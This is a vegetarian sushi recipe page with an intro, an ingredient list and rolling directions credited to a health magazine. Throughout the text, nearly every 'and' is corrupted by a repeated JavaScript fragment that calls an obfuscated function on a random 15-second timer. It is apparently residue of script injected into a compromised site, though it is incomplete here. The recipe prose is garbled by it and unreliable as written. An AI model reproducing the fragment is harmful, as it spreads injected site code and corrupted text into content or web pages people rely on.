Veggie Sushi for Meatless Monday

Once you get the hang of rolling sushi at home (be patient), it becomes a great, quick meal that you can customize to what’s in your fridge.  Those nori sheets are packed with nutrition, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you can find them in the Asian aisle of most major grocery stores.  To make proper sushi rolls, you’ll need a bamboo sushi rolling mat which you can find at specialty stores, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I’ve even seen them on the shelves of Whole Foods with the rest of their Asian products.  If you don’t have a mat or don’t need anything extra cluttering up your kitchen, you can just use the nori as a wrap andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fill it that way.

Ingredients:
Rolls
4 cups water
2 cups short grain rice
1/2 teaspoon salt
1 tablespoon rice vinegar
1/4 cup mirin
6 sheets nori
1 tablespoon wasabi powder, mixed
with just enough water to make a
paste
1 large carrot, peeled andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cut lengthwise
into 1/4-inch strips
1 red bell pepper, seeds removed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and
cut lengthwise into 1/4-inch strips
2 scallions, trimmed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cut into thin
diagonal slices
1 avocado, peeled andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cut into thin
strips
Small bowl of water (to moisten
fingers when assembling rolls)
Dipping Sauce
1/4  cup tamari
2 teaspoons wasabi powder (add more
if you like it spicy)
2 teaspoons minced fresh ginger

Directions: 
1. Combine water, rice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and salt in a saucepan andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bring to a boil. Once boiling, reduce heat to low andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simmer covered for 45 to 50 minutes, or until rice is cooked andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and water is absorbed. Spoon rice into a large bowl. Cool to room temperature. Stir in rice vinegar andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mirin andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mix well.
2. Toast nori by quickly passing it over a low flame, until nori turns green.
3. Assemble rolls by placing one nori sheet on the sushi mat near the bottom edge, shiny side down. Put 3/4 cup rice on nori sheet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and use moistened fingers to spread rice evenly, leaving the top two inches of nori bare. Spread a thin strip of wasabi across the middle of the rice. Arrange a couple pieces each of carrots, red peppers, scallions, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and avocado on top of wasabi.
4. Bring edges of nori andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mat up over rice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and vegetables andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and roll mat, being careful to make sure mat does not get caught in nori roll. Using wet fingertips, moisten the strip of bare nori at the top. Finish rolling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seal.
5. Lift roll off bamboo mat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and place on a cutting surface. Use a moistened, sharp knife to gently cut off both jagged edges of the roll. Slice roll into six even pieces. Repeat procedure five times with the remaining ingredients.
6. For dipping sauce, pour tamari into a small bowl. Stir in wasabi powder until dissolved andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and add minced ginger. Serve with nori rolls.

photo andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and recipe credit: www.naturalhealthmag.com

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